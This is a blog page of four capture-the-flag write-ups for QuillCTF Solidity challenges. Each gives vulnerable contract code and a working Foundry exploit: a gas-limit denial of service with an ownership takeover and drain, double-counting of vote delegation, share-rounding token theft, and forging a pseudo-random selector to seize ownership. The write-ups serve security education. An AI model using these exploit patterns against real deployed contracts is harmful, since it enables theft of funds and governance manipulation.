Skip to main content

4 posts tagged with "foundry"

View All Tags

· 5 min read
Kaan Caglan

Private Club is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 contract and one foundry setUp file. Contract is not deployed on any testnet.

Objective of CTF is

1. Become a member of a private club.
2. Block future registrations.
3. Withdraw all Ether from the privateClub contract.

So we have 3 different objectives. First we need to become a member of club, second we need to DOS contract somehow and third we need to withdraw all ether from contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts/contracts/access/Ownable.sol";
import "openzeppelin-contracts/contracts/security/ReentrancyGuard.sol";

contract PrivateClub is ReentrancyGuard, Ownable {
uint private registerEndDate;
event setRegEndDate(uint registerEndDate);
event memberWithdrawevent(address member, address to, uint amount);
address[] public members_;
mapping(address => bool) public members;

receive() external payable {}

uint public membersCount;

function setRegisterEndDate(uint _newRegisterEndDate) external onlyOwner {
registerEndDate = _newRegisterEndDate;
emit setRegEndDate(registerEndDate);
}

function becomeMember(
address[] calldata _members
) external payable nonReentrant {
require(block.timestamp < registerEndDate, "registration closed");
require(_members.length == membersCount, "wrong members length");
require(msg.value == membersCount * 1 ether, "need more ethers");
for (uint i = 0; i < _members.length; i++) {
_members[i].call{value: 1 ether}("");
}
membersCount += 1;
members[msg.sender] = true;
members_.push(msg.sender);
}

modifier onlyMember() {
bool member;
for (uint i = 0; i < membersCount; i++) {
if (members_[i] == msg.sender) {
member = true;
}
}

require(member == true, "you are not a member");
_;
}

function adminWithdraw(address to, uint amount) external onlyOwner {
payable(to).call{value: amount}("");
}

function addMemberByAdmin(address newMember) external onlyOwner {
membersCount += 1;
members[newMember] = true;
members_.push(newMember);
}

function buyAdminRole(address newAdmin) external payable onlyMember {
require(msg.value == 10 ether, "need 10 ethers");
_transferOwnership(newAdmin);
}
}

If we take a look to the setup contract it can be seen that vm.deal(hacker, 10 ether); hacker has 10 ether already so it means we can call buyAdminRole with 10 ether and withdraw all balance from contract with the function adminWithdraw. We can also see that becoming a club member is not that hard if we have enough money. We can call becomeMember function with enough ethers to be a member. We just need to figure it out how can we DOS the contract.

    function becomeMember(
address[] calldata _members
) external payable nonReentrant {
require(block.timestamp < registerEndDate, "registration closed");
require(_members.length == membersCount, "wrong members length");
require(msg.value == membersCount * 1 ether, "need more ethers");
for (uint i = 0; i < _members.length; i++) {
_members[i].call{value: 1 ether}("");
}
membersCount += 1;
members[msg.sender] = true;
members_.push(msg.sender);
}

It can be seen that on the becomeMember function we need to give a list _members which is equal to the global membersCount so it can't be bypassed. And function is increasing that membersCount in every run. So it means this function must call _members[i].call{value: 1 ether}(""); this statement incrementing by 1 each time. Since .call is a gas consuming operation if we call this function couple of times, this function will revert due to out of gas.

POC

  • Hacker calls becomeMember function with giving enough time of hacker value inside the _members array
  • That function will give back the given ethers in loop, since array is full of hacker it will return them all
  • Keep calling becomeMember with given gas limit blockGasLimit until it reverts
  • When it reverts break the loop and call the buyAdminRole with 10 ether and right after that call adminWithdraw.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/PrivateClub.sol";

contract Hack is Test {
address[] public members_;
PrivateClub club;

address clubAdmin = makeAddr("clubAdmin");
address adminFriend = makeAddr("adminFriend");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
address user4 = makeAddr("user4");
address hacker = makeAddr("hacker");
uint blockGasLimit = 120000;

function setUp() public {
vm.deal(clubAdmin, 100 ether);
vm.deal(hacker, 10 ether);
vm.deal(user2, 10 ether);
vm.deal(user3, 10 ether);
vm.deal(user4, 10 ether);
vm.startPrank(clubAdmin);
club = new PrivateClub();
club.setRegisterEndDate(block.timestamp + 5 days);
club.addMemberByAdmin(adminFriend);
address(club).call{value: 100 ether}("");
vm.stopPrank();
vm.startPrank(user2);
address[] memory mForUser2 = new address[](1);
mForUser2[0] = adminFriend;
club.becomeMember{value: 1 ether}(mForUser2);
vm.stopPrank();
vm.startPrank(user3);
address[] memory mForUser3 = new address[](2);
mForUser3[0] = adminFriend;
mForUser3[1] = user2;
club.becomeMember{value: 2 ether}(mForUser3);
vm.stopPrank();
}

function test_attack() public {
vm.startPrank(hacker);
// task1: become member of the club and
// block future registrations (reason: out of gas - block gas limit)
// solution:

uint membersCount = club.membersCount();
for(uint i = 0; i < membersCount; ++i){
members_.push(hacker);
}

while(true){
(bool success, bytes memory ret) = address(club).call{value: members_.length * 1 ether, gas: blockGasLimit}(
abi.encodeWithSignature(
"becomeMember(address[])", members_
)
);
if(!success){
break;
}

membersCount = club.membersCount();
for(uint i = members_.length; i < membersCount; ++i){
members_.push(hacker);
}

}


vm.stopPrank();
// check - hacker is member
assertTrue(club.members(hacker));


// check - user4 can not become member - blockGasLimit
vm.startPrank(user4);
address[] memory mForUser4 = new address[](club.membersCount());
for (uint i = 0; i < club.membersCount(); i++) {
mForUser4[i] = club.members_(i);
}
uint etherAmount = mForUser4.length * 1 ether;
uint gasleftbeforeTxStart = gasleft();
club.becomeMember{value: etherAmount}(mForUser4);
uint gasleftAfterTxStart = gasleft();

assertGt(gasleftbeforeTxStart - gasleftAfterTxStart, blockGasLimit);
vm.stopPrank();


vm.startPrank(hacker);
// task2: buy admin role and withdraw all ether from the club
// solution:

club.buyAdminRole{value: 10 ether}(hacker);
club.adminWithdraw(hacker, address(club).balance);
// check - hacker is owner of club
assertEq(club.owner(), hacker);
assertGt(hacker.balance, 110000000000000000000 - 1);
}
}
> forge test -vv
[] Compiling...
[] Compiling 1 files with 0.8.7
[] Solc 0.8.7 finished in 4.74s
Compiler run successful

Running 1 test for test/PrivateClub.t.sol:Hack
[PASS] test_attack() (gas: 1179280)
Test result: ok. 1 passed; 0 failed; finished in 2.81ms

· 5 min read
Kaan Caglan

Voting Machine is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 contract and one foundry setUp file. Contract is not deployed on any testnet.

Objective of CTF is

Accumulate at least 3000 votes in your hacker address. You don’t have any tokens in your wallet.

After trying all attempts and failing, you decided to perform a phishing attack and you successfully obtained the private keys from three users: Alice, Bob, and Carl.

Fortunately, Alice had 1000 vTokens, but Bob and Carl don’t have any tokens in their accounts. (see foundry setUp)

Now that you have access to the private keys of Alice, Bob, and Carl's accounts. So, try again.

So we have private keys for 4 user, Alice, Bob, Carl, and hacker. Our objective is to get 1000 vTokens and also get 3000 vote delegation in our hacker wallet.

pragma solidity 0.8.12;

import "@openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract VoteToken is ERC20("Vote Token", "vToken") {

address public owner;

modifier onlyOwner() {
require(owner == msg.sender);
_;
}

constructor() {
owner = msg.sender;
}

function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}

function burn(address _from, uint256 _amount) public onlyOwner {
_burn(_from, _amount);
_moveDelegates(_delegates[_from], address(0), _amount);
}


mapping(address => address) internal _delegates;

struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}


function _moveDelegates(address from, address to, uint256 amount) internal {
if (from != to && amount > 0) {
if (from != address(0)) {
uint32 fromNum = numCheckpoints[from];
uint256 fromOld = fromNum > 0 ? checkpoints[from][fromNum - 1].votes : 0;
uint256 fromNew = fromOld - amount;
_writeCheckpoint(from, fromNum, fromOld, fromNew);
}

if (to != address(0)) {
uint32 toNum = numCheckpoints[to];
uint256 toOld = toNum > 0 ? checkpoints[to][toNum - 1].votes : 0;
uint256 toNew = toOld + amount;
_writeCheckpoint(to, toNum, toOld, toNew);
}
}
}

mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
mapping(address => uint32) public numCheckpoints;

function delegates(address _addr) external view returns (address) {
return _delegates[_addr];
}

function delegate(address _addr) external {
return _delegate(msg.sender, _addr);
}


function getVotes(address _addr) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[_addr];
return nCheckpoints > 0 ? checkpoints[_addr][nCheckpoints - 1].votes : 0;
}

function _delegate(address _addr, address delegatee) internal {
address currentDelegate = _delegates[_addr];
uint256 _addrBalance = balanceOf(_addr);
_delegates[_addr] = delegatee;
_moveDelegates(currentDelegate, delegatee, _addrBalance);
}


function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
uint32 blockNumber = uint32(block.number);

if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
}
}

Since we have the private key of alice we can obtain 1000 vTokens easily with one easy transfer call vToken.transfer(hacker, vToken.balanceOf(alice));. However we also need to accumulate 3000 votes in our hacker address. If we take a look to the contract we can see that there is a delegate function which allows us to delegate our votes to any other user. That delegate function is calling _delegate and it calls _moveDelegates which is also calling _writeCheckpoint function. It can be seen that whenever any user calls delegate function it overwrites the current delegation settings with the new given delegatee address. So we can't call this delegate function 3 times to achieve 3000 votes. However the getVotes function is not checking if the already given checkpoints are still valid or not. Which means if alice delegates her vote power to bob and transfers her balance to bob, bob will still have 1000 votes and also he will have 1000 vTokens. We can crack this with transfering balances over and over again.

POC

  • Alice gives delegates to hacker and transfers her vTokens to bob
  • Now bob has 1000 vTokens and hacker has 1000 delegate power
  • Bob gives delegates to hacker and transfers his vTokens to carl
  • Now carl has 1000 vTokens and hacker has 2000 delegate power
  • Carl gives delegates to hacker and transfer his vTokens to hacker
  • Now hacker has 3000 vTokens and also 1000 vTokens
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.12;

import "forge-std/Test.sol";
import "../src/VotingMachine.sol";

contract exploitTest is Test {
VoteToken vToken;
address public owner = address(0);
address public hacker =address(1337);

address public alice= address(1);
address public bob = address(2);
address public carl = address(3);

function setUp() public {
vm.startPrank(owner);
vToken = new VoteToken();
vToken.mint(alice, 1000);
vm.stopPrank();
}

function testExploit() public {
vm.startPrank(alice);

// soluiton
vToken.delegate(hacker);
vToken.transfer(bob, vToken.balanceOf(alice));

vm.stopPrank();

vm.startPrank(bob);
vToken.delegate(hacker);
vToken.transfer(carl, vToken.balanceOf(bob));


vm.stopPrank();

vm.startPrank(carl);
vToken.delegate(hacker);
vToken.transfer(hacker, vToken.balanceOf(carl));

vm.stopPrank();

uint hacker_vote = vToken.getVotes(hacker);
console.log("Vote Count of Hacker before attack: %s ", hacker_vote);

uint hacker_balance= vToken.balanceOf(hacker);
console.log("Hacker's vToken after the attack: %s: ", hacker_balance);

assertEq(hacker_vote , 3000);
assertEq(hacker_balance, 1000);
}
}
> forge test -vv
[] Compiling...
[] Compiling 1 files with 0.8.12
[] Solc 0.8.12 finished in 1.27s
Compiler run successful (with warnings)
warning[5667]: Warning: Unused function parameter. Remove or comment out the variable name to silence this warning.
--> src/VotingMachine.sol:80:71:
|
80 | function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
| ^^^^^^^^^^^^^^^^




Running 1 test for test/VotingMachine.t.sol:exploitTest
[PASS] testExploit() (gas: 206573)
Logs:
Vote Count of Hacker before attack: 3000
Hacker's vToken after the attack: 1000:

Test result: ok. 1 passed; 0 failed; finished in 1.20ms

· 7 min read
Kaan Caglan

Invest Pool is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there are 2 contract and one foundry setUp file. Contract is not deployed on any testnet.

Objective of CTF is

Your objective is to have a greater token balance than your initial balance.

So somehow we need steal some tokens from contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";

contract PoolToken is ERC20("loan token", "lnt"), Ownable {
function mint(uint amount) external onlyOwner {
_mint(msg.sender, amount);
}
}
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract InvestPool {
IERC20 token;
uint totalShares;
bool initialized;
mapping(address => uint) public balance;

modifier onlyInitializing() {
require(initialized, "Not initialized! You are so stupid!");
_;
}

constructor(address _token) {
token = IERC20(_token);
}

function initialize(string memory password) external {
// Password could be found in Goerli contract
// 0xA45aC53E355161f33fB00d3c9485C77be3c808ae
// Hint: Password length is more than 30 chars
require(!initialized, "Already initialized");
require(
keccak256(abi.encode(password)) ==
0x18617c163efe81229b8520efdba6384eb5c6d504047da674138c760e54c4e1fd,
"Wrong password"
);
initialized = true;
}

function deposit(uint amount) external onlyInitializing {
uint userShares = tokenToShares(amount);
balance[msg.sender] += userShares;
totalShares += userShares;
token.transferFrom(msg.sender, address(this), amount);
}

function tokenToShares(uint userAmount) public view returns (uint) {
uint tokenBalance = token.balanceOf(address(this));
if (tokenBalance == 0) return userAmount;
return (userAmount * totalShares) / tokenBalance;
}

function sharesToToken(uint amount) public view returns (uint) {
uint tokenBalance = token.balanceOf(address(this));
return (amount * tokenBalance) / totalShares;
}

function transferFromShare(uint amount, address from) public {
uint size;
assembly {
size := extcodesize(address())
}
require(size == 0, "code size is not 0");
require(balance[from] >= amount, "amount is too big");
balance[from] -= amount;
balance[msg.sender] += amount;
}

function withdrawAll() external onlyInitializing {
uint shares = balance[msg.sender];
uint toWithdraw = sharesToToken(shares);
balance[msg.sender] = 0;
totalShares -= shares;
token.transfer(msg.sender, toWithdraw);
}
}

If we take a look to the InvestPool contract it can be seen that to call deposit and withdrawAll functions we need to set initialized flag to true and it can be done with initialize function. However that function is expecting a password which should satisfy the requirement keccak256(abi.encode(password)) == 0x18617c163efe81229b8520efdba6384eb5c6d504047da674138c760e54c4e1fd. So we need to find a valid password for that. On the initialize function there is a hint which says

// Password could be found in Goerli contract
// 0xA45aC53E355161f33fB00d3c9485C77be3c808ae
// Hint: Password length is more than 30 chars

So we can find the valid password from that contract. deployed contract is not verified. However we can decompile the contract to see the content of that. We can use this decompiler. If we take a look to the decompiled contract

// Decompiled by library.dedaub.com
// 2023.04.11 13:00 UTC
// Compiled using the solidity compiler version 0.6.11


// Data structures and variables inferred from the use of storage instructions
uint256 _a; // STORAGE[0x0]
uint256 _b; // STORAGE[0x1]
uint256 stor_2; // STORAGE[0x2]



function () public payable {
revert();
}

function a() public payable {
return _a;
}

function b() public payable {
return _b;
}

function 0xcc8e2394() public payable {
return stor_2;
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(bytes4 function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0xdbe671f == function_selector >> 224) {
a();
} else if (0x4df7e3d0 == function_selector >> 224) {
b();
} else if (0xcc8e2394 == function_selector >> 224) {
0xcc8e2394();
}
}
();
}

We can see there is a function which has a signature 0xcc8e2394 which is equal to getPassword(). So if we take a look to the initial transaction of that contract from ethercan we can see the value of getPassword() is 0x05. So it can't be the actual password we are looking for because hint says Password length is more than 30 chars. If we take a look to the contract bytecode deeply we can see that there is a signature for ipfs keyword. Encoding of the Metadata Hash in Bytecode page explains the details. So we know that creator sent the metadata hash with bytecode. According to the page its CBOR-encoded and it starts with 0xa264 then there is ipfs word which is equal to 69 70 66 73 so after that there i also 0x58 and 0x22. 0x22 stands for the length of ipfs which is also written in the documentation. So after those bytes if we read 34 byte we can retrieve the ipfs hash. We can write a small python script to retrieve ipfs hash.

import base58
import requests

bytecode = "0x6080604052348015600f57600080fd5b5060043610603c5760003560e01c80630dbe671f1460415780634df7e3d014605b578063cc8e2394146075575b600080fd5b6047608f565b6040516052919060b8565b60405180910390f35b60616095565b604051606c919060b8565b60405180910390f35b607b609b565b6040516086919060b8565b60405180910390f35b60005481565b60015481565b60025481565b6000819050919050565b60b28160a1565b82525050565b600060208201905060cb600083018460ab565b9291505056fea264697066735822122054c3e28cded5e23f5b3ee244c86c623b672d772b268fdc5e76e4fe131e690bea64736f6c634300060b0033"

ipfs_prefix = "a264697066735822"
ipfs_prefix_index = bytecode.find(ipfs_prefix)

if ipfs_prefix_index != -1:
ipfs_hash_bytes_start = ipfs_prefix_index + len(ipfs_prefix)
ipfs_hash_bytes_end = ipfs_hash_bytes_start + 68
ipfs_hash_bytes = bytecode[ipfs_hash_bytes_start:ipfs_hash_bytes_end]
print("IPFS Hash Bytes:", ipfs_hash_bytes)

# Convert to Multihash
multihash = base58.b58encode(bytes.fromhex(ipfs_hash_bytes)).decode("utf-8")
print("IPFS Multihash:", multihash)
password = requests.get('https://ipfs.io/ipfs/'+str(multihash)).content.decode('utf-8').replace('\n','')
print('Password: ', password)
else:
print("IPFS prefix not found")

If we run this script, we can get the password

> python helper.py
IPFS Hash Bytes: 122054c3e28cded5e23f5b3ee244c86c623b672d772b268fdc5e76e4fe131e690bea
IPFS Multihash: QmU3YCRfRZ1bxDNnxB4LVNCUWLs26wVaqPoQSQ6RH2u86V
Password: j5kvj49djym590dcjbm7034uv09jih094gjcmjg90cjm58bnginxxx

So now we have the valid password to call initialize function and make initialized parameter true. So now since we can call the deposit and withdrawAll functions we can find a vulnerability to steal money. When we call deposit it calls the tokenToShares function and adds totalShares and also the balances variables according to the return value of tokenToShares function. However it is using tokenBalance to do the calculation. So it means we can increase the tokenBalance parameter with transfering tokens directly to the contract. With the help of this we will only increase the tokenBalance and totalShares will stay same. To break this we can do following

  • Deposit 5 tokens with deposit function as hacker
  • Now totalShares will be 5, balance[hacker] will be 5 and also tokenBalance will be 5
  • We can transfer 16 tokens with token.transfer(address(pool), 16);
  • Now totalShares is 5, balance[hacker] is again 5 but now tokenBalance is 21.
  • So if any user deposits less than 5 token their shares won't be updated due to divison on tokenToShares
  • User deposits 4 token, it will call tokenToShares as userAmount is 4, it will return (userAmount * totalShares) / tokenBalance which will be (4*5)/21 = 20/21 and which will equal to 0.
  • If hacker calls withdrawAll function it will call sharesToToken with shares as a 5, it will return (amount * tokenBalance) / totalShares which will be (5*25/5)= 25 and it will transfer that amount to hacker
  • Eventually hacker will have 25 tokens, however hacker only sent 21 tokens to the pool.

POC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

import "forge-std/Test.sol";
import "../src/poolToken.sol";
import "../src/investPool.sol";

contract Hack is Test {
PoolToken token;
InvestPool pool;
address user = vm.addr(1);
address hacker = vm.addr(2);

function setUp() external {
token = new PoolToken();
pool = new InvestPool(address(token));

token.mint(2000e18);
token.transfer(user, 1000e18);
token.transfer(hacker, 1000e18);

vm.prank(user);
token.approve(address(pool), type(uint).max);

vm.prank(hacker);
vm.deal(hacker, 1 ether);
token.approve(address(pool), type(uint).max);
}

function userDeposit(uint amount) public {
vm.prank(user);
pool.deposit(amount);
vm.stopPrank();
}

function test_hack() public {
uint hackerBalanceBeforeHack = token.balanceOf(hacker);
vm.startPrank(hacker);


string memory pass = 'j5kvj49djym590dcjbm7034uv09jih094gjcmjg90cjm58bnginxxx';
console.logBytes32(keccak256(abi.encode(pass)));
pool.initialize(pass);


pool.deposit(5);
token.transfer(address(pool), 16);
vm.stopPrank();
userDeposit(4);
vm.startPrank(hacker);

pool.withdrawAll();

vm.stopPrank();
console.log("Initial hacker balance: ", hackerBalanceBeforeHack);
console.log("Hacker balance after attack: ", token.balanceOf(hacker));

assertGt(token.balanceOf(hacker), hackerBalanceBeforeHack);
}
}
> forge test -vv
[] Compiling...
[] Compiling 1 files with 0.8.7
[] Solc 0.8.7 finished in 4.74s
Compiler run successful

Running 1 test for test/InvestPool.t.sol:Hack
[PASS] test_hack() (gas: 123524)
Logs:
0x18617c163efe81229b8520efdba6384eb5c6d504047da674138c760e54c4e1fd
Initial hacker balance: 1000000000000000000000
Hacker balance after attack: 1000000000000000000004

Test result: ok. 1 passed; 0 failed; finished in 2.68ms

· 5 min read
Kaan Caglan

PseudoRandom is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only one solidity file and also one foundry setUp file. Contract is not deployed on any testnet.

Objective of CTF is

Become the Owner of the contract.

Objective is clear, we just need to be the owner of the contract.


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract PseudoRandom {
error WrongSig();

address public owner;

constructor() {
bytes32[3] memory input;
input[0] = bytes32(uint256(1));
input[1] = bytes32(uint256(2));

bytes32 scalar;
assembly {
scalar := sub(mul(timestamp(), number()), chainid())
}
input[2] = scalar;

assembly {
let success := call(gas(), 0x07, 0x00, input, 0x60, 0x00, 0x40)
if iszero(success) {
revert(0x00, 0x00)
}

let slot := xor(mload(0x00), mload(0x20))

sstore(add(chainid(), origin()), slot)

let sig := shl(
0xe0,
or(
and(scalar, 0xff000000),
or(
and(shr(xor(origin(), caller()), slot), 0xff0000),
or(
and(
shr(
mod(xor(chainid(), origin()), 0x0f),
mload(0x20)
),
0xff00
),
and(shr(mod(number(), 0x0a), mload(0x20)), 0xff)
)
)
)
)
sstore(slot, sig)
}
}

fallback() external {
if (msg.sig == 0x3bc5de30) {
assembly {
mstore(0x00, sload(calldataload(0x04)))
return(0x00, 0x20)
}
} else {
bytes4 sig;

assembly {
sig := sload(sload(add(chainid(), caller())))
}

if (msg.sig != sig) {
revert WrongSig();
}

assembly {
sstore(owner.slot, calldataload(0x24))
}
}
}
}

If we take a look to the contract it can be seen that else case on the fallback function is storing the given data into the owner.slot. So we need to find a valid msg.sig to pass

if (msg.sig != sig) {
revert WrongSig();
}

this control, and after that the second parameter we gave (0x24) will be set to the slot owner.slot. However signature is calculated of the constructor. On the constructor there are few unknown variables for us

  • scalar
  • slot
  • sig We know the rest of them. For example from the foundry setup we know that caller and origin isthe variable addr, we are in same block so we also know number(), chainid() and timestamp(). Even if we wouldn't be in the same block we could find them from the initial transaction anyway. So since we know the timestamp() number() and chainid() we actually know the scalar, we can calculate it with just copy pasting the assembly statement in the solution part. In the second assembly block there is call opcode used and the output of call is stored to 0x00 with length of 0x40.

The call function parameters are as follows:

  • gas(): The amount of gas available for the call.
  • 0x07: The address of the contract being called.
  • 0x00: The amount of Ether to send with the call (in this case, 0).
  • input: The memory location where the input data starts.
  • 0x60: The size of the input data (in this case, 96 bytes, as input is an array of 3 bytes32 values).
  • 0x00: The memory location where the output data will be stored.
  • 0x40: The size of the output data.

The call function is instructed to store the output data in memory starting at location 0x00, with a maximum size of 0x40 bytes (64 bytes). Since the call function modifies memory locations 0x00 and 0x20, the memory values at these locations depend on the result of the call. So again if we use call opcode with exact same way, we can get exactly simular output to our memory locations 0x00 and 0x20 so eventually we can calculate the slot variable. After we found slot everything is straightforward. We don't need to understand the operations done on sig calculation because everything will be same for us.

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "../src/PseudoRandom.sol";

contract PseudoRandomTest is Test {
string private BSC_RPC = "https://rpc.ankr.com/bsc"; // 56
string private POLY_RPC = "https://rpc.ankr.com/polygon"; // 137
string private FANTOM_RPC = "https://rpc.ankr.com/fantom"; // 250
string private ARB_RPC = "https://rpc.ankr.com/arbitrum"; // 42161
string private OPT_RPC = "https://rpc.ankr.com/optimism"; // 10
string private GNOSIS_RPC = "https://rpc.ankr.com/gnosis"; // 100

address private addr;

function setUp() external {
vm.createSelectFork(BSC_RPC);
}
function thisistestfunc(uint256 a, address b) public{
//some implementation
}

function test() external {
string memory rpc = new string(32);
assembly {
// network selection
let _rpc := sload(
add(mod(xor(number(), timestamp()), 0x06), BSC_RPC.slot)
)
mstore(rpc, shr(0x01, and(_rpc, 0xff)))
mstore(add(rpc, 0x20), and(_rpc, not(0xff)))
}

addr = makeAddr(rpc);

vm.createSelectFork(rpc);

vm.startPrank(addr, addr);
address instance = address(new PseudoRandom());

//the solution

bytes32[3] memory input;
input[0] = bytes32(uint256(1));
input[1] = bytes32(uint256(2));

bytes memory test = abi.encodeWithSignature('thisistestfunc(uint256,address)', 0, addr);

bytes32 scalar;
assembly {
scalar := sub(mul(timestamp(), number()), chainid())
}
input[2] = scalar;
bytes32 sign;

assembly {
let success := call(gas(), 0x07, 0x00, input, 0x60, 0x00, 0x40)
if iszero(success) {
revert(0x00, 0x00)
}
let slot := xor(mload(0x00), mload(0x20))

sstore(add(chainid(), sload(addr.slot)), slot)

sign := shl(
0xe0,
or(
and(scalar, 0xff000000),
or(
and(shr(xor(sload(addr.slot), sload(addr.slot)), slot), 0xff0000),
or(
and(
shr(
mod(xor(chainid(), sload(addr.slot)), 0x0f),
mload(0x20)
),
0xff00
),
and(shr(mod(number(), 0x0a), mload(0x20)), 0xff)
)
)
)
)
}

bytes4 customSelector = bytes4(sign);

for (uint256 i = 0; i < 4; i++) {
test[i] = customSelector[i];
}

(bool success, bytes memory data) = instance.call(test);
require(success,"failed low-level call");

assertEq(PseudoRandom(instance).owner(), addr);
}
}
> forge test -vv
[] Compiling...
[] Compiling 1 files with 0.8.19
[] Solc 0.8.19 finished in 982.82ms
Compiler run successful

Running 1 test for test/PseudoRandom.t.sol:PseudoRandomTest
[PASS] test() (gas: 214601)
Test result: ok. 1 passed; 0 failed; finished in 3.43s